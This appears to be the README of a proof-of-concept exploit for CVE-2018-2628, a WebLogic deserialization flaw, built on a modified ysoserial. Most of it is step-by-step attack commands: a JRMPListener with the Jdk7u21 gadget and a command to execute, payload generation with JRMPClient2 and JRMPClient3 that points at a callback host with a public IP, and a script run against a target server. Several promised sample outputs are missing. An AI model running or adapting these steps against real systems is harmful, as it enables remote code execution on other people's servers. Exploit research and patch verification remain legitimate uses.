ysoserial-cve-2018-2628

0x1. Preparation

• Prepare the software environment required for POC script, Payload Object generation, and JRMPListener execution
  Python 2.7.x
  Oracle Java SE 1.7+
• Prepare a WebLogic Server 10.3.6 environment with Patch Set Update 180417 installed (AdminServer only is sufficient)
  If you already have a WebLogic environment with this PSU version installed, skip this step.
• Prepare the POC tools
  Download the POC script (wls-cve-2018-2628-poc.py) from this repository.
  Download the Payload Object generation and JRMPListener program JAR file (ysoserial-<version>-cve-2018-2628-all.jar) from the release page of this repository.

0x2. Run JRMPListener

Command format:

java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>

Example:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

When you see the output *Opening JRMP listener on 22801, record the IP address of the host running JRMPListener (in the example, it runs on an Alibaba Cloud ECS host with public IP 47.94.158.125) and the specified port.

0x3. Generate the Payload string based on the JRMPListener host IP address and listening port from the previous step

Two methods are currently known (choose either one when generating the Payload Object String):

• Using java.rmi.activation.Activator [CVE-2017-3248]

Command format for generating Payload Object String:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo  

Example:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo  

Sample (binary output data of Payload object generated with JRMPClient2):

• Using weblogic.jms.common.StreamMessageImpl to encapsulate java.rmi.registry.Registry

Command format for generating Payload Object String:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

Example:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

Sample (binary output data of Payload object generated with JRMPClient3):

0x4. Edit and run the POC script

Edit wls-cve-2018-2628-poc.py, replace the variable value of the variable named payload_str at the top of the script with the hex string generated in the previous step (the two predefined payload_str variable values in this script can also be used directly, corresponding to the hex strings generated by the two methods above).

Command format:

python wls-cve-2018-2628-poc.py

Example:

python wls-cve-2018-2628-poc.py 192.168.64.83 7001  

Sample (with Patch Set Update 180417 installed):

0x5. Acknowledgements

xxlegend@nsfocus (one of the discoverers and submitters of CVE-2018-2628, revealing the exploit method and related code examples)
badcode@knownsec (provided code example for encapsulating java.rmi.registry.Registry using weblogic.jms.common.StreamMessageImpl)
ysoserial project (summarizes many Java deserialization exploits)